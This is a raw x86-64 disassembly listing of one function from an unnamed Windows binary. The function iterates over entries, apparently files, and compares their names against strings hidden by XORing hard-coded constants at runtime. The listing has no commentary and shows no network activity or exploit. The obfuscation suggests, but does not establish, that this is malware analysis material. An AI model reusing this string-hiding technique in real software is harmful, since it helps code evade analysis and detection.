mov qword [rsp + 0x258], rbx
mov rdx, rbx
mov r8, r14
call fcn.140248d80
lea rcx, [rsp + 0x770]
lea rbx, [rsp + 0x280]
mov qword [rsp + 0x128], rbp
mov rdx, rbp
mov r8, rsi
call fcn.140248d80
mov rsi, qword [rsp + 0x778]
mov r8, qword [rsp + 0x780]
mov rcx, rbx
mov rdx, rsi
call fcn.140238480
xor ebp, ebp
xor r14d, r14d
mov rcx, r12
mov rdx, rbx
call fcn.14022d650
cmp byte [rsp + 0x510], 0xa
je 0x14001f85f
dec r14
inc rbp
jmp 0x14001f842
cmp qword [rsp + 0x770], 0
je 0x14001f881
mov rcx, qword [0x1404fd180]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rdi, qword [rsp + 0x58]
test rdi, rdi
je 0x14001fec1
mov rax, r14
neg rax
mov qword [rsp + 0x250], rax
dec rdi
mov qword [rsp + 0x58], rdi
mov rax, qword [rsp + 0x50]
mov rcx, rdi
shl rcx, 5
mov dl, byte [rax + rcx + 0x18]
cmp dl, 2
je 0x14001fec3
mov byte [rsp + 0x118], dl
lea r9, [rax + rcx]
mov rdx, qword [rax + rcx]
mov qword [rsp + 0x138], rdx
mov rdx, qword [rax + rcx + 8]
mov r8, qword [rax + rcx + 0x10]
mov eax, dword [r9 + 0x19]
mov ecx, dword [r9 + 0x1c]
mov dword [rsp + 0x113], ecx
mov dword [rsp + 0x110], eax
mov rcx, rbx
mov qword [rsp + 0x130], rdx
mov qword [rsp + 0x260], r8
call fcn.140238480
mov qword [rsp + 0xf0], r15
mov qword [rsp + 0xf8], 1
mov qword [rsp + 0x100], r15
mov byte [rsp + 0x108], 1
mov rax, qword [rsp + 0x250]
mov qword [rsp + 0x2c0], rax
test r14, r14
lea rdi, [0x14049e748]
je 0x14001f98d
mov rsi, rbp
dec rsi
je 0x14001f967
mov rcx, r12
mov rdx, rbx
call fcn.14022d650
cmp byte [rsp + 0x510], 0xa
jne 0x14001f94b
jmp 0x14001f981
lea rcx, [rsp + 0x770]
mov rdx, rbx
call fcn.14022d650
cmp byte [rsp + 0x780], 0xa
jne 0x14001f98d
mov edx, 1
xor edi, edi
jmp 0x14001fa61
movups xmm0, xmmword [rsp + 0x280]
movups xmm1, xmmword [rsp + 0x290]
movups xmm2, xmmword [rsp + 0x2a0]
movups xmm3, xmmword [rsp + 0x2b0]
movaps xmmword [rsp + 0x530], xmm3
movaps xmmword [rsp + 0x520], xmm2
movaps xmmword [rsp + 0x510], xmm1
movaps xmmword [rsp + 0x500], xmm0
lea rcx, [rsp + 0x770]
mov rdx, r12
call fcn.14022d650
mov dl, byte [rsp + 0x780]
cmp dl, 0xa
je case.default.0x14001fa18
mov rax, qword [rsp + 0x770]
mov rcx, qword [rsp + 0x778]
sub dl, 5
movzx edx, dl
cmovb edx, r15d
movzx r8d, dl
lea rdx, [0x140020b34]
movsxd r9, dword [rdx + r8*4]
add r9, rdx
mov rdx, rdi
jmp r9
mov r8, rcx
mov rdx, rax
jmp case.0x14001fa18.1
mov r8d, 1
lea rdx, [0x1404c9b52]
jmp case.0x14001fa18.1
mov r8d, 2
lea rdx, [0x1404c9b50]
lea rcx, [rsp + 0xf0]
call fcn.140233570
jmp 0x14001f9cd
mov rdx, qword [rsp + 0xf8]
mov rdi, qword [rsp + 0x100]
mov rcx, rbx
mov qword [rsp + 0x248], rdx
mov r8, rdi
call fcn.140238480
xor esi, esi
mov rcx, r12
mov rdx, rbx
call fcn.14022d650
cmp byte [rsp + 0x510], 0xa
je 0x14001fa90
dec rsi
jmp 0x14001fa76
test rsi, rsi
je 0x14001fac9
mov rdx, qword [rsp + 0x148]
mov r8, qword [rsp + 0x150]
mov qword [rsp + 0x20], rdi
lea rcx, [rsp + 0x80]
mov r9, qword [rsp + 0x248]
call fcn.1402383a0
mov rdi, qword [rsp + 0x90]
jmp 0x14001fb17
mov rsi, qword [rsp + 0x148]
mov rdi, qword [rsp + 0x150]
mov rcx, rdi
xor edx, edx
call fcn.14024c47c
mov rcx, rdx
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], rdx
mov rdx, rsi
mov r8, rdi
call fcn.14038a820
mov qword [rsp + 0x90], rdi
mov al, byte [rsp + 0x158]
mov byte [rsp + 0x98], al
mov rsi, qword [rsp + 0x88]
mov rcx, rbx
mov rdx, rsi
mov r8, rdi
call fcn.1402352a0
cmp dword [rsp + 0x280], 2
jne 0x14001fb55
mov rax, qword [rsp + 0x288]
mov qword [rsp + 0x508], rax
mov qword [rsp + 0x500], 2
jmp 0x14001fb7a
mov ecx, 9
mov rax, rdi
mov rdi, r12
mov rdx, rsi
mov rsi, rbx
rep movsq qword [rdi], qword [rsi]
mov rsi, rdx
mov rdi, rax
cmp qword [rsp + 0x500], 2
jne 0x14001fb9b
mov rcx, qword [rsp + 0x270]
call fcn.1401b10eb
mov rcx, rsi
mov rdx, rdi
call fcn.1402343f0
test rax, rax
jne 0x1400200d7
mov rax, qword [rsp + 0x138]
mov qword [rsp + 0x280], rax
mov rax, qword [rsp + 0x130]
mov qword [rsp + 0x288], rax
mov rax, qword [rsp + 0x260]
mov qword [rsp + 0x290], rax
mov al, byte [rsp + 0x118]
mov byte [rsp + 0x298], al
mov eax, dword [rsp + 0x110]
mov ecx, dword [rsp + 0x113]
lea rdx, [rsp + 0x280]
mov dword [rdx + 0x1c], ecx
mov dword [rdx + 0x19], eax
mov rcx, r12
mov rdx, rbx
call fcn.1401f7e59
mov edi, dword [rsp + 0x510]
mov rsi, qword [rsp + 0x500]
cmp edi, 2
je 0x1400200d2
mov rax, qword [rsp + 0x508]
mov qword [rsp + 0x118], rax
mov r8d, 0x254
lea rcx, [rsp + 0x294]
lea rdx, [rsp + 0x514]
call fcn.14038a820
mov qword [rsp + 0x280], rsi
mov rax, qword [rsp + 0x118]
mov qword [rsp + 0x288], rax
mov dword [rsp + 0x290], edi
mov rcx, r12
mov rdx, rbx
call fcn.1402330a0
cmp qword [rsp + 0x500], 0
je 0x14001fe67
mov rsi, qword [rsp + 0x508]
mov rdi, qword [rsp + 0x758]
test rdi, rdi
je 0x14001ff24
mov r8d, 0x248
mov rcx, qword [rsp + 0x40]
lea rdx, [rsp + 0x510]
call fcn.14038a820
mov qword [rsp + 0x770], rsi
mov qword [rsp + 0x9c0], rdi
mov eax, esi
shr eax, 0xa
mov cl, byte [rsp + 0x797]
and cl, 0x20
shr cl, 5
test al, cl
jne 0x14001fd3a
and esi, 0x10
je 0x14001fd3a
lea rcx, [rsp + 0xc0]
lea rdx, [rsp + 0x770]
call fcn.1402332e0
mov rdx, qword [rsp + 0x58]
cmp rdx, qword [rsp + 0x48]
jne 0x14001fd08
lea rcx, [rsp + 0x48]
call fcn.14012d798
mov rdx, qword [rsp + 0x58]
mov rax, qword [rsp + 0x50]
mov rcx, rdx
shl rcx, 5
movups xmm0, xmmword [rsp + 0xc0]
movups xmm1, xmmword [rsp + 0xd0]
movups xmmword [rax + rcx + 0x10], xmm1
movups xmmword [rax + rcx], xmm0
inc rdx
mov qword [rsp + 0x58], rdx
jmp 0x14001fe43
lea rcx, [rsp + 0x60]
lea rdx, [rsp + 0x770]
call fcn.1402332e0
mov rcx, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x70]
call fcn.140237fa0
test rax, rax
je 0x14001fe27
mov rsi, rax
mov rdi, rdx
lea rcx, [rsp + 0xa0]
lea rdx, [rsp + 0x770]
call fcn.1402332e0
mov rdx, qword [rsp + 0x88]
mov r8, qword [rsp + 0x90]
mov qword [rsp + 0x20], rdi
lea rcx, [rsp + 0xc0]
mov r9, rsi
call fcn.1402383a0
mov rdx, qword [rsp + 0xa8]
mov r8, qword [rsp + 0xb0]
mov rdi, qword [rsp + 0xc8]
mov rax, qword [rsp + 0xd0]
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x4f0]
mov r9, rdi
call fcn.140248a90
cmp qword [rsp + 0x4f0], 0
jne 0x140020045
cmp qword [rsp + 0xc0], 0
je 0x14001fe05
mov rcx, qword [0x1404fd180]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0xa0], 0
je 0x14001fe27
mov r8, qword [rsp + 0xa8]
mov rcx, qword [0x1404fd180]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0x60], 0
je 0x14001fe43
mov r8, qword [rsp + 0x68]
mov rcx, qword [0x1404fd180]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsp + 0x9c0]
lock dec qword [rax]
jne 0x14001fc62
mov rcx, qword [rsp + 0x9c0]
call fcn.14026f6bc
jmp 0x14001fc62
mov rcx, rbx
call fcn.140270967
cmp qword [rsp + 0x80], 0
je 0x14001fe91
mov r8, qword [rsp + 0x88]
mov rcx, qword [0x1404fd180]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0xf0], 0
je 0x14001feb3
mov r8, qword [rsp + 0xf8]
mov rcx, qword [0x1404fd180]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rdi, qword [rsp + 0x58]
test rdi, rdi
jne 0x14001f898
xor edi, edi
cmp qword [rsp + 0x140], 0
mov r14, qword [sym.imp.kernel32.dll_HeapFree]
je 0x14001feee
mov r8, qword [rsp + 0x148]
mov rcx, qword [0x1404fd180]
xor edx, edx
call r14
mov rdi, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x50]
mov rcx, rsi
mov rdx, rdi
call fcn.1400ceacf
cmp qword [rsp + 0x48], 0
je 0x14001ff15
mov rcx, qword [0x1404fd180]
xor edx, edx
mov r8, rsi
call r14
xor esi, esi
lea rbp, [rsp + 0x280]
jmp 0x14001ffe9
mov r14, qword [sym.imp.kernel32.dll_HeapFree]
lea rbp, [rsp + 0x280]
mov rcx, rbx
call fcn.140270967
mov dil, 1
cmp qword [rsp + 0x80], 0
je 0x14001ff5d
mov r8, qword [rsp + 0x88]
mov rcx, qword [0x1404fd180]
xor edx, edx
call r14
cmp qword [rsp + 0xf0], 0
je 0x14001ff7c
mov r8, qword [rsp + 0xf8]
mov rcx, qword [0x1404fd180]
xor edx, edx
call r14
cmp qword [rsp + 0x138], 0
sete al
or dil, al
jne 0x14001ffa1
mov rcx, qword [0x1404fd180]
xor edx, edx
mov r8, qword [rsp + 0x130]
call r14
cmp qword [rsp + 0x140], 0
je 0x14001ffc0
mov r8, qword [rsp + 0x148]
mov rcx, qword [0x1404fd180]
xor edx, edx
call r14
mov rdi, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x58]
mov rcx, rdi
call fcn.1400ceacf
cmp qword [rsp + 0x48], 0
je 0x14001ffe9
mov rcx, qword [0x1404fd180]
xor edx, edx
mov r8, rdi
call r14
mov rdi, qword [rsp + 0x128]
cmp qword [rsp + 0x268], 0
je 0x140020010
mov rcx, qword [0x1404fd180]
xor edx, edx
mov r8, qword [rsp + 0x258]
call r14
mov qword [rsp + 0x280], rsi
test rsi, rsi
je 0x140020025
mov rcx, rbx
call fcn.1401b10eb
cmp qword [rsp + 0x30], 0
je 0x14001f57a
mov rcx, qword [0x1404fd180]
xor edx, edx
mov r8, rdi
call r14
jmp 0x14001f57a
mov rsi, qword [rsp + 0x4f8]
cmp qword [rsp + 0xc0], 0
mov r14, qword [sym.imp.kernel32.dll_HeapFree]
je 0x14002006e
mov rcx, qword [0x1404fd180]
xor edx, edx
mov r8, rdi
call r14
cmp qword [rsp + 0xa0], 0
je 0x14002008d
mov r8, qword [rsp + 0xa8]
mov rcx, qword [0x1404fd180]
xor edx, edx
call r14
cmp qword [rsp + 0x60], 0
lea rbp, [rsp + 0x280]
je 0x1400200ae
mov r8, qword [rsp + 0x68]
mov rcx, qword [0x1404fd180]
xor edx, edx
call r14
mov rax, qword [rsp + 0x9c0]
lock dec qword [rax]
jne 0x14001ff33
mov rcx, qword [rsp + 0x9c0]
call fcn.14026f6bc
jmp 0x14001ff33
mov dil, 1
jmp 0x1400200dc
mov rsi, rax
xor edi, edi
mov r14, qword [sym.imp.kernel32.dll_HeapFree]
lea rbp, [rsp + 0x280]
jmp 0x14001ff3e
lea rcx, [rsp + 0x190]
call fcn.1400046cf
cmp qword [rsp + 0x38], 0
je 0x14002011c
mov rcx, qword [0x1404fd180]
xor edx, edx
mov r8, qword [rsp + 0x120]
call qword [sym.imp.kernel32.dll_HeapFree]
lea rax, [0x14048c1ab]
mov qword [rsp + 0x280], rax
mov rcx, qword [rsp + 0x280]
movabs rax, 0xe3b3f1af4b3e4d8b
mov qword [rsp + 0x280], rax
mov rdx, qword [rsp + 0x280]
call fcn.140009e73
xorps xmm0, xmm0
movaps xmmword [rsp + 0x190], xmm0
mov cl, 1
xor edx, edx
lea r8, [0x140498d80]
movzx r10d, byte [rdx + r8]
mov r9, rdx
or r9, 1
movzx r9d, byte [r9 + r8]
mov r11, rdx
or r11, 2
movzx r11d, byte [r11 + r8]
mov rsi, rdx
or rsi, 3
movzx esi, byte [rsi + r8]
mov rdi, rdx
or rdi, 4
movzx edi, byte [rdi + r8]
mov rbx, rdx
or rbx, 5
movzx ebx, byte [rbx + r8]
mov r14, rdx
or r14, 6
mov r15, rdx
or r15, 7
movzx r14d, byte [r14 + r8]
movzx r15d, byte [r15 + r8]
shl r15, 0x38
shl r14, 0x30
or r14, r15
shl rbx, 0x28
shl rdi, 0x20
shl rsi, 0x18
shl r11, 0x10
shl r9, 8
or r9, r10
or r9, r11
or r9, rsi
or r9, rdi
or r9, rbx
or r9, r14
xor r9, qword [rax + rdx]
mov qword [rsp + rdx + 0x190], r9
mov edx, 8
test cl, 1
mov ecx, 0
jne 0x140020168
lea rax, [rsp + 0x190]
mov qword [rsp + 0xc0], rax
mov qword [rsp + 0xc8], 0x10
lea rbp, [rsp + 0x500]
lea rax, [rsp + 0x178]
mov qword [rbp], rax
lea rax, [0x140009a60]
mov qword [rbp + 8], rax
lea rax, [rsp + 0xc0]
mov qword [rbp + 0x10], rax
lea rax, [0x140071250]
mov qword [rbp + 0x18], rax
lea r15, [rsp + 0x280]
lea rax, [0x140498cb8]
mov qword [r15 + 0x10], rax
mov eax, 2
mov qword [r15 + 0x18], rax
xor r12d, r12d
mov qword [r15], r12
mov qword [r15 + 0x20], r13
mov qword [r15 + 0x28], rax
lea rbx, [rsp + 0x770]
mov rcx, rbx
mov rdx, r15
call fcn.1400476f0
mov rax, qword [rbx]
mov qword [rsp + 0x120], rax
mov rdx, qword [rbx + 8]
mov r8, qword [rbx + 0x10]
lea r14, [rsp + 0x280]
mov rcx, r14
mov qword [rsp + 0x30], rdx
call fcn.140248d80
mov qword [r14 + 0x20], r12
mov qword [r14 + 0x30], 0xa
mov qword [r14 + 0x38], r12
mov dword [r14 + 0x48], 0x100
mov qword [r14 + 0x40], 3
mov ecx, 0xa
mov rdi, rbp
mov rsi, r14
rep movsq qword [rdi], qword [rsi]
movups xmm0, xmmword [rbp]
movups xmm1, xmmword [rbp + 0x10]
movups xmm2, xmmword [rbp + 0x20]
movups xmm3, xmmword [rbp + 0x30]
movaps xmmword [rbx + 0x20], xmm2
movaps xmmword [rbx + 0x30], xmm3
movups xmm2, xmmword [rbp + 0x40]
movaps xmmword [rbx + 0x40], xmm2
movaps xmmword [rbx], xmm0
movaps xmmword [rbx + 0x10], xmm1
xorps xmm0, xmm0
movups xmmword [r14 + 0x80], xmm0
movups xmmword [rsp + 0x198], xmm0
movups xmmword [r14 + 0x98], xmm0
lea rax, [rsp + 0x280]
lea rsi, [rsp + 0x770]
mov ecx, 0xa
mov rdi, rax
rep movsq qword [rdi], qword [rsi]
mov rcx, qword [rsp + 0x1a0]
mov qword [rax + 0x68], rcx
movups xmm0, xmmword [rsp + 0x190]
movups xmmword [rax + 0x58], xmm0
mov qword [rax + 0x50], r12
mov qword [rax + 0x70], r12
mov ecx, 8
mov qword [rax + 0x78], rcx
mov qword [rax + 0x90], rcx
mov qword [rax + 0xa8], rcx
mov qword [rax + 0xb0], r12
lea r14, [rsp + 0x538]
add rbp, rcx
mov qword [rsp + 0x40], rbp
lea rax, [rsp + 0x80]
add rcx, rax
mov qword [rsp + 0x38], rcx
mov rcx, r13
mov rdx, r15
call fcn.1402616ee
mov rax, qword [rsp + 0x530]
cmp rax, 2
je 0x140020996
cmp eax, 3
je 0x140020a29
mov rdx, qword [rsp + 0x500]
mov rbp, qword [rsp + 0x508]
lea rcx, [rsp + 0x510]
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rbx + 0x20], xmm1
movups xmmword [rbx + 0x10], xmm0
mov ecx, 9
lea rdi, [rsp + 0x7a8]
mov rsi, r14
rep movsq qword [rdi], qword [rsi]
mov qword [rsp + 0x770], rdx
mov qword [rsp + 0x778], rbp
mov qword [rsp + 0x7a0], rax
mov rcx, r13
mov rdx, rbx
call fcn.140260ff5
cmp qword [rsp + 0x500], 0
je 0x1400209b1
mov rcx, qword [rsp + 0x40]
call fcn.140004d60
mov rsi, qword [rsp + 0x780]
mov rcx, rbp
mov rdx, rsi
call fcn.140237fa0
test rax, rax
cmove rax, rbp
cmove rdx, rsi
mov rcx, rax
call fcn.140248cf0
test rax, rax
je 0x140020a99
test rdx, rdx
je 0x14002061f
cmp byte [rdx + rax - 1], 0x73
jne 0x14002061f
mov rcx, rbp
mov rdx, rsi
call fcn.140237fa0
test rax, rax
cmove rax, rbp
cmove rdx, rsi
mov rcx, rax
call fcn.140248cf0
test rax, rax
je 0x140020ae9
cmp rdx, 0x11
jne 0x14002061f
lea rax, [0x14048c831]
mov qword [rsp + 0x500], rax
mov rcx, qword [rsp + 0x500]
movabs rax, 0x12f78b92fd50c4d1
mov qword [rsp + 0x500], rax
mov rdx, qword [rsp + 0x500]
call fcn.140009de7
mov rax, qword [rax]
movabs rcx, 0xa4929ef02b10be91
xor rax, rcx
mov qword [rsp + 0xf0], rax
lea rax, [rsp + 0xf0]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], 8
mov rcx, rbp
mov rdx, rsi
call fcn.1402610c1
mov rcx, rax
call fcn.140248cf0
test rax, rax
je 0x140020af9
mov qword [rsp + 0xa0], rax
mov qword [rsp + 0xa8], rdx
lea rax, [rsp + 0x160]
mov qword [rsp + 0x500], rax
lea rax, [0x140009a60]
mov qword [rsp + 0x508], rax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x510], rax
lea rax, [0x140071250]
mov qword [rsp + 0x518], rax
lea rcx, [rsp + 0xa0]
mov qword [rsp + 0x520], rcx
mov qword [rsp + 0x528], rax
lea rax, [0x140498d38]
mov qword [rsp + 0x1a0], rax
mov eax, 3
mov qword [rsp + 0x1a8], rax
mov qword [rsp + 0x190], 0
mov qword [rsp + 0x1b0], r13
mov qword [rsp + 0x1b8], rax
lea rdi, [rsp + 0xc0]
mov rcx, rdi
lea rdx, [rsp + 0x190]
call fcn.1400476f0
lea rcx, [rsp + 0x80]
mov rdx, rbp
mov r8, rsi
mov r9, rdi
call fcn.14020d4b7
cmp qword [rsp + 0x80], 0
je 0x14002061f
mov rcx, qword [rsp + 0x38]
call fcn.1401b10eb
mov rcx, rbp
mov rdx, rsi
call fcn.140237fa0
test rax, rax
cmove rax, rbp
cmove rdx, rsi
mov rcx, rax
call fcn.140248cf0
test rax, rax
je 0x140020aa9
mov rdi, rax
mov r12, rdx
lea rax, [0x14048f4e7]
mov qword [rsp + 0x500], rax
mov rcx, qword [rsp + 0x500]
movabs rax, 0x62581a944259fe5f
mov qword [rsp + 0x500], rax
mov rdx, qword [rsp + 0x500]
call fcn.140009b7c
mov ecx, dword [rax]
movzx edx, byte [rax + 6]
movzx eax, word [rax + 4]
xor eax, 0xed43
xor dl, 0xb7
movzx edx, dl
mov byte [rsp + 0x196], dl
shl rdx, 0x30
shl rax, 0x20
or rax, rdx
xor ecx, 0x324c1114
mov dword [rsp + 0x190], ecx
shr rax, 0x20
mov word [rsp + 0x194], ax
cmp r12, 6
jbe 0x1400206e3
mov eax, dword [rsp + 0x190]
xor eax, dword [rdi]
mov ecx, dword [rsp + 0x193]
xor ecx, dword [rdi + 3]
or ecx, eax
je 0x140020800
mov rcx, rbp
mov rdx, rsi
call fcn.140237fa0
test rax, rax
cmove rax, rbp
cmove rdx, rsi
mov rcx, rax
call fcn.140248cf0
test rax, rax
je 0x140020ab9
mov rdi, rax
mov r12, rdx
lea rax, [0x14048c73e]
mov qword [rsp + 0x500], rax
mov rcx, qword [rsp + 0x500]
movabs rax, 0xb4a89f28a74d7e00
mov qword [rsp + 0x500], rax
mov rdx, qword [rsp + 0x500]
call fcn.14000b636
mov rax, qword [rax]
movabs rcx, 0x9d27e8addff0e872
xor rax, rcx
mov qword [rsp + 0x190], rax
cmp r12, 7
jbe 0x140020775
mov rax, qword [rsp + 0x190]
cmp rax, qword [rdi]
je 0x140020800
mov rcx, rbp
mov rdx, rsi
call fcn.1402610c1
mov rcx, rax
call fcn.140248cf0
test rax, rax
je 0x140020ac9
mov rdi, rax
mov r12, rdx
lea rax, [0x14048cc1d]
mov qword [rsp + 0x500], rax
mov rcx, qword [rsp + 0x500]
movabs rax, 0x9c48d3efb5581586
mov qword [rsp + 0x500], rax
mov rdx, qword [rsp + 0x500]
call fcn.14000cb5c
mov rax, qword [rax]
movabs rcx, 0x6663a55797fad51b
xor rax, rcx
mov qword [rsp + 0x190], rax
cmp r12, 7
jbe 0x140020969
mov rax, qword [rsp + 0x190]
cmp rax, qword [rdi]
jne 0x140020969
lea rax, [0x140492dbb]
mov qword [rsp + 0x500], rax
mov rcx, qword [rsp + 0x500]
movabs rax, 0xddb5ca0268778f7f
mov qword [rsp + 0x500], rax
mov rdx, qword [rsp + 0x500]
call fcn.14000bec1
mov rax, qword [rax]
movabs rcx, 0x90b7ed36fb7b5bf4
xor rax, rcx
mov qword [rsp + 0xf0], rax
lea rax, [rsp + 0xf0]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], 8
mov rcx, rbp
mov rdx, rsi
call fcn.140237fa0
test rax, rax
cmove rax, rbp
cmove rdx, rsi
mov rcx, rax
call fcn.140248cf0
test rax, rax
je 0x140020ad9
mov qword [rsp + 0xa0], rax
mov qword [rsp + 0xa8], rdx
lea rax, [rsp + 0x160]
mov qword [rsp + 0x500], rax
lea rax, [0x140009a60]
mov qword [rsp + 0x508], rax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x510], rax
lea rax, [0x140071250]
mov qword [rsp + 0x518], rax
lea rcx, [rsp + 0xa0]
mov qword [rsp + 0x520], rcx
mov qword [rsp + 0x528], rax
lea rax, [0x140498d38]
mov qword [rsp + 0x1a0], rax
mov eax, 3
mov qword [rsp + 0x1a8], rax
mov qword [rsp + 0x190], 0
mov qword [rsp + 0x1b0], r13
mov qword [rsp + 0x1b8], rax
lea rdi, [rsp + 0xc0]
mov rcx, rdi
lea rdx, [rsp + 0x190]
call fcn.1400476f0
lea rcx, [rsp + 0x80]
mov rdx, rbp
mov r8, rsi
mov r9, rdi
call fcn.14020d4b7
cmp qword [rsp + 0x80], 0
je 0x140020969
mov rcx, qword [rsp + 0x38]
call fcn.1401b10eb
inc qword [0x1404fd098]
cmp qword [rsp + 0x770], 0
je 0x1400203b1
mov rcx, qword [0x1404fd180]
xor edx, edx
mov r8, rbp
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x1400203b1
mov ecx, 9
mov rdi, rbx
mov rsi, r14
rep movsq qword [rdi], qword [rsi]
mov rcx, rbx
call fcn.140004d60
jmp 0x1400203b1
mov rcx, qword [rsp + 0x530]
xor edx, edx
call fcn.140272bf2
mov r8, rdx
cmp rax, 0x5fffff
jbe 0x140020a04
mov rcx, qword [0x1404fd180]
xor edx, edx
mov rsi, qword [sym.imp.kernel32.dll_HeapFree]
call rsi
cmp qword [rsp + 0x770], 0
je 0x1400203b1
mov r8, qword [rsp + 0x778]
mov rcx, qword [0x1404fd180]
xor edx, edx
call rsi
jmp 0x1400203b1
test rax, rax
je 0x14002044d
mov rcx, qword [0x1404fd180]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rbp, qword [rsp + 0x778]
jmp 0x14002044d
lea rcx, [rsp + 0x280]
call fcn.1400046cf
cmp qword [rsp + 0x120], 0
lea r13, [rsp + 0x280]
jne 0x14001e509
jmp 0x14001e51d
movups xmm0, xmmword [rsp + 0x500]
movups xmm1, xmmword [rsp + 0x510]
lea r8, [rsp + 0x280]
movaps xmmword [r8 + 0x10], xmm1
movaps xmmword [r8], xmm0
lea rax, [0x14039cb18]
mov qword [rsp + 0x20], rax
lea rcx, [0x1404ccfe2]
lea r9, fcn.1400047d0
mov edx, 0x2b
call fcn.14038ebe0
ud2
lea rcx, [0x1404ccfb7]
lea r8, [0x140498d90]
jmp 0x140020b07
lea rcx, [0x1404ccfb7]
lea r8, [0x140498de0]
jmp 0x140020b07
lea rcx, [0x1404ccfb7]
lea r8, [0x140498df8]
jmp 0x140020b07
lea rcx, [0x1404ccfb7]
lea r8, [0x140498e10]
jmp 0x140020b07
lea rcx, [0x1404ccfb7]
lea r8, [0x140498e28]
jmp 0x140020b07
lea rcx, [0x1404ccfb7]
lea r8, [0x140498db0]
jmp 0x140020b07
lea rcx, [0x1404ccfb7]
lea r8, [0x140498dc8]
mov edx, 0x2b
call fcn.14038e950
ud2
lea rcx, [0x1404ccfb7]
lea r8, [0x140498d20]
jmp 0x140020b07
lea rcx, [0x1404ccfb7]
lea r8, [0x140498d68]
jmp 0x140020b07